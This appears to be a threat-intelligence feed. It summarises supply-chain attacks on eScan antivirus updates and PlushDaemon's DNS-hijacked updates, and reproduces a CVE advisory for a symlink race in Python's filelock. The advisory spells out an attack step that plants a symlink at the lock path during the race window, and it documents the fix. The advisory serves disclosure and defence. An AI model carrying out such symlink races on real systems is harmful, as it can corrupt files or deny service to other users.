| –Not rated | – | AlienVault OTX General A supply chain attack targeted the eScan antivirus software, distributing malware through the update server. The attack, detected on January 20, involved a malicious Reload.exe file that initiated a multi-stage infection chain. This malware prevented further antivirus updates, ensured persistence through scheduled tasks, and communicated with control servers to download additional payloads. Attackers gained unauthorized access to a regional update server, deploying a malicious file with a fake digital signature.eScan developers quickly isolated the affected infrastructure and reset access credentials. Users are advised to check for infection signs, use a provided removal utility, and block known malware control server addresses. Kaspersky's security solutions successfully detect the malware used in this attack. | AlienVault OTX General | |||
| Medium | 5.3 | EPSS 0.1% | CVE-2026-22701tox-dev filelock · Link Following Medium5.3EPSS 0.1%CVE Database V5CVE-2026-22701 ## Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ## Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ## References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@tsigouris007) | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General China-aligned threat actor PlushDaemon has been conducting espionage operations since 2018, targeting entities in China, Taiwan, Hong Kong, Cambodia, South Korea, the United States, and New Zealand. The group employs a custom backdoor called SlowStepper and uses a network implant named EdgeStepper to hijack legitimate updates. EdgeStepper redirects DNS queries to a malicious node, rerouting traffic from legitimate infrastructure to attacker-controlled servers. The group has also exploited web server vulnerabilities and performed a supply-chain attack. PlushDaemon's adversary-in-the-middle technique involves compromising network devices, deploying EdgeStepper, and using it to redirect DNS queries for software updates to malicious nodes. This allows them to serve malicious updates containing the LittleDaemon downloader, which then deploys the SlowStepper implant. | AlienVault OTX General |
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